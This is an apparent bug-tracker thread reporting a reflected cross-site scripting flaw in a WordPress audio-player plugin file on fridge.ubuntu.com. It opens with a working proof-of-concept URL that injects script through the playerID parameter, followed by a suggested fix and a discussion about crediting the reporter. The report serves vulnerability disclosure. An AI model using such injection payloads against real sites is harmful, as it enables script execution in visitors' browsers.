[XSS] fridge.ubuntu.com

[Cristi Caloianu]

http://fridge.ubuntu.com/wp-content/plugins/audio-player/assets/player.swf?playerID=a\%22%29%29}catch%28e%29{alert%281%29}//

For fix the vulnerability delete player.swf or put 403

[Paul Sladen (sladen)]

I got a copy of this; but wow, the Fridge is from a long time ago, and I'm not how/if I have admin access…

[Daniel Holbach (dholbach)]

Paul: I think the Fridge editors (who can add posts in wordpress) are default subscriber of Fridge bugs.

[Cristi Caloianu (kronzyalin)]

Add me on Hof?

[Daniel Holbach (dholbach)]

What do you mean by "Add me on Hof?"?

[Cristi Caloianu (kronzyalin)]

Hall of fame :)

[Daniel Holbach (dholbach)]

Ah ok. :)

[Paul Sladen (sladen)]

It appears that:

  http://hall-of-fame.ubuntu.com/

vanished. Cristi: did you have another location in mind to be credited? (Can you point us to the link?).

[Cristi Caloianu (kronzyalin)]

http://hall-of-fame.ubuntu.com/ , no work:)

[Daniel Holbach (dholbach)]

Yes, the page is gone.

[Paul Sladen (sladen)]

Yes, as Daniel and myself have both said that URL has gone/finished/vanished.

Where did you want to be listed? (Eg. is there a wiki.ubuntu.com page?)

We *would* like to credit you somewhere for reporting this!

[Cristi Caloianu (kronzyalin)]

Ubuntu don't have a hall of fame page?

[Cristi Caloianu (kronzyalin)]

wiki.ubuntu.com/hall-of-fame is ok.

[Cristi Caloianu (kronzyalin)]

My name is Cristi Caloianu(Kronzy) and site : rstforums.com - Romanian Security Team